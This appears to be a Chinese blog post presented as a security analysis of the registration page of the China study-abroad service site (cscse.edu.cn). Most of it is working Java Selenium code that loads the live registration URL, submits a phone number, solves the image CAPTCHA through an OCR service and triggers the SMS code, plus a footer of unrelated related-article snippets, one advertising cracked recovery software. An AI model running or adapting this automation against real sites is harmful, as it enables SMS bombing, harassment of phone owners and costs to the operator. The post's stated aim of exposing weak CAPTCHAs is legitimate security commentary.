首页 > 其他分享 >【中国留学网-注册/登录安全分析报告】

【中国留学网-注册/登录安全分析报告】

时间:2024-09-09 22:53:45浏览次数:3  
标签:String 登录 driver 验证码 imgCode 留学网 注册 null out

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞
    在这里插入图片描述
    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 中国留学网PC 注册入口

简介:教育部(中国)留学服务中心(以下简称“中心”)成立于1989年3月31日,是教育部直属事业单位,以事业单位法人注册,主要从事出国留学、留学回国、来华留学以及教育国际交流与合作等领域的相关服务。

在这里插入图片描述

二丶 安全分析:

采用传统的图形验证码方式,具体为5个英文字母,ocr 识别率在 95% 以上。

测试方法:
采用模拟器+OCR识别

1. 模拟器交互



	private static String INDEX_URL = "https://lxyzt.cscse.edu.cn/personalRegister";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);
			// 1 输入手机号
			WebElement phoneElemet = ChromeDriverManager.waitElement(driver, By.xpath("//input[@placeholder='建议使用常用手机号']"), 1);
			phoneElemet.sendKeys(phone);
			String imgCode = null;
			byte[] imgByte = null;
			for (int i = 0; i < 3; i++) {
				// 2 获取图形验证码
				WebElement imgElement = driver.findElement(By.xpath("//img[@class='getCaptcha']"));
				imgElement.click();
				Thread.sleep(1 * 1000);

				String imgBase64 = imgElement.getAttribute("src");
				imgByte = GetImage.imgStrToByte(imgBase64);
				int len = (imgByte != null) ? imgByte.length : 0;
				imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
				if (imgCode != null && imgCode.length() == 4) {
					break;
				}
			}

			if (imgCode == null || imgCode.length() < 1) {
				System.out.println("imgCode=" + imgCode);
				return retEntity;
			}
			// 3 输入识别出来的图形验证码
			WebElement codeInElement = driver.findElement(By.xpath("//input[@placeholder='图形验证码']"));
			codeInElement.sendKeys(imgCode);

			// 4 点击获取验证码
			Thread.sleep(1 * 1000);
			WebElement getCodeElement = driver.findElement(By.xpath("//button/span[contains(text(),'发送')]"));
			if (getCodeElement != null)
				getCodeElement.click();

			// 5 获取结果
			Thread.sleep(2000);
			WebElement gtElement = ChromeDriverManager.waitElement(driver, By.xpath("//button/span[contains(text(),'秒后重发')]"), 20);
			String gtInfo = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("秒后重发")) {
				retEntity.setRet(0);
				ddddOcr.saveFile("Cscse", imgCode, imgByte);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}
	

2. 获取图形验证码


public static byte[] callJsById(WebDriver driver, String id) {
		return callJsById(driver, id, null);
	}

	public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
		String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
		js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
		js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
		js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
		js += "let base64String = c.toDataURL();return base64String;";
		String src = ((JavascriptExecutor) driver).executeScript(js).toString();
		String base64Str = src.substring(src.indexOf(",") + 1);
		if (base64 != null) {
			base64.append(base64Str);
		}
		byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
		return vBytes;
	}


3.图形验证码识别(Ddddocr)


public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("ddddUrl=" + ddddUrl);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);

			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10000);
			con.setReadTimeout(10000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);

			out = con.getOutputStream();

			if (bigImage != null && bigImage.length > 0) {
				out.write(boundarybytesString.getBytes("UTF-8"));
				String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
				paramString += "Content-Type: application/octet-stream\r\n\r\n";
				out.write(paramString.getBytes("UTF-8"));
				out.write(bigImage);
			}

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));

			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("ddddUrl=" + ddddUrl + " ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}
	

	public void saveFile(String factory, String imgCode, byte[] imgByte) {
		try {
			String basePath = ConstTable.codePath + factory + "/";
			File ocrFile = new File(basePath + imgCode + ".png");
			FileUtils.writeByteArrayToFile(ocrFile, imgByte);
		} catch (Exception e) {
			logger.error("saveFile() " + e.toString());
		}
	}


4. 图形OCR识别结果:

在这里插入图片描述

5. 测试返回结果:

在这里插入图片描述

三 丶测试报告 :

在这里插入图片描述

四丶结语

教育部(中国)留学服务中心(以下简称“中心”)成立于1989年3月31日,是教育部直属事业单位,以事业单位法人注册,主要从事出国留学、留学回国、来华留学以及教育国际交流与合作等领域的相关服务。作为教育部直属事业单位,中国留学网在留学服务方面具有很大的优势,资源雄厚, 技术实力也应该不错,但采用的还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。
比如:“ 需求这么赶,当然是先实现功能啊 ”,“ 业务量很小啦,系统就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不可能的 ”等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

标签:String,登录,driver,验证码,imgCode,留学网,注册,null,out
From: https://blog.csdn.net/weixin_44549063/article/details/142071288

相关文章

  • EasyRecovery破解版下载无需注册,easyrecovery数据恢复软件免费版激活码密钥
    EasyRecovery易恢复是一款功能强大的数据恢复软件,为无数人群解决了数据丢失的烦恼,为工作生活带去了便捷。无数使用者在使用过后,都肯定了其强大的数据恢复功能。具体来说,EasyRecovery易恢复可以恢复多方面的数据,EasyRecovery易恢复的使用对象可以是台式机、笔记本、移动硬盘或是......
  • Nacos与Eureka--微服务注册中心
    Nacos与EurekaNacos和Eureka都是微服务架构中常用的服务发现和注册中心解决方案,它们帮助微服务架构中的各个服务实例进行互相发现和通信。Nacos是由阿里巴巴开源的一个动态服务发现、配置管理和服务管理平台。它支持服务的注册与发现,并且提供了配置管理的功能。Nacos支持多......
  • 2. 修改/编译kernel,luci登录
    1.修改kernel,在 openwrt/imx_openwrt/target/linux/imx/patches-5.15/目录下有一大堆补丁文件,就是用来给目标镜像打补丁的,在这里修改kernel补丁修改设备树补丁文件 0002-add-dts-files.patch+&pcie0{+pinctrl-names="default";+pinctrl-0=<&pinctrl_pcie......
  • 海外合规|新加坡 【数据保护新风向】你的DPO注册了吗?
    数据安全已经成为了我们不可忽视的重要议题。新加坡个人数据保护委员会(PDPC)提醒,2024年9月30日之前,根据新加坡的个人资料保护法(PDPA),每个组织都必须指定至少一名数据保护官(DPO)来确保数据的合规使用。DPO注册相关问题:1、是否必须通过BizFile+注册我组织的DPO?根据法律规定,组织必须......
  • vue2+elementUI+Django实现登录注册功能
     前端代码<template><el-rowtype="flex"justify="center"style="height:100vh;"><el-col:xs="24":sm="12":md="8":lg="6"><el-cardclass="login-card......
  • 随手记:uniapp小程序登录方式和小程序使用验证码登录
    小程序登录方式:方式一:小程序授权登录通过uni.login获取临时登录凭证code,向后端换取token。<u-buttontype="primary"shape="circle"@click="login">登录</u-button>login(){ uni.login({ provider:'weixin', success:loginRes=&......
  • 【中国国际航空-注册/登录安全分析报告】
    前言由于网站注册入口容易被黑客攻击,存在如下安全问题:1.暴力破解密码,造成用户信息泄露2.短信盗刷的安全问题,影响业务及导致用户投诉3.带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞所以大部分网站及App都采取图形验证码或滑动验证码等交互解决方案,但在机......
  • 【安恒信息-注册/登录安全分析报告】
    前言由于网站注册入口容易被黑客攻击,存在如下安全问题:暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞所以大部分网站及App都采取图形验证码或滑动验证码等交互解决方案,但在机器学习能力提......
  • 基于Pinia和Compute的持久化localStorage登录态管理Vuejs 源码教学
    piniaPinia是一个专为Vue3设计的状态管理库,它借鉴了Vuex的一些概念,但更加轻量灵活,使得状态管理变得更加简单直观。Pinia通过提供一种基于Vue3响应式API的状态管理机制,让我们可以更加优雅地管理应用程序的状态。computedVue的computed属性是一种特殊的数据属性,它们根据组......
  • Windows 11 登录后黑屏,只有一个可以移动的鼠标
    Windows11登录后黑屏,只有一个可以移动的鼠标,但是还能打开任务管理器,点击任务管理器顶部的“文件”>“运行新任务”按钮,按以下步骤操作:→输入:msconfig(按下Enter键)点击上面的“服务”勾选下面的“隐藏所有Microsoft服务”(请务必勾选)点击“全部禁用”。然后回到任务管......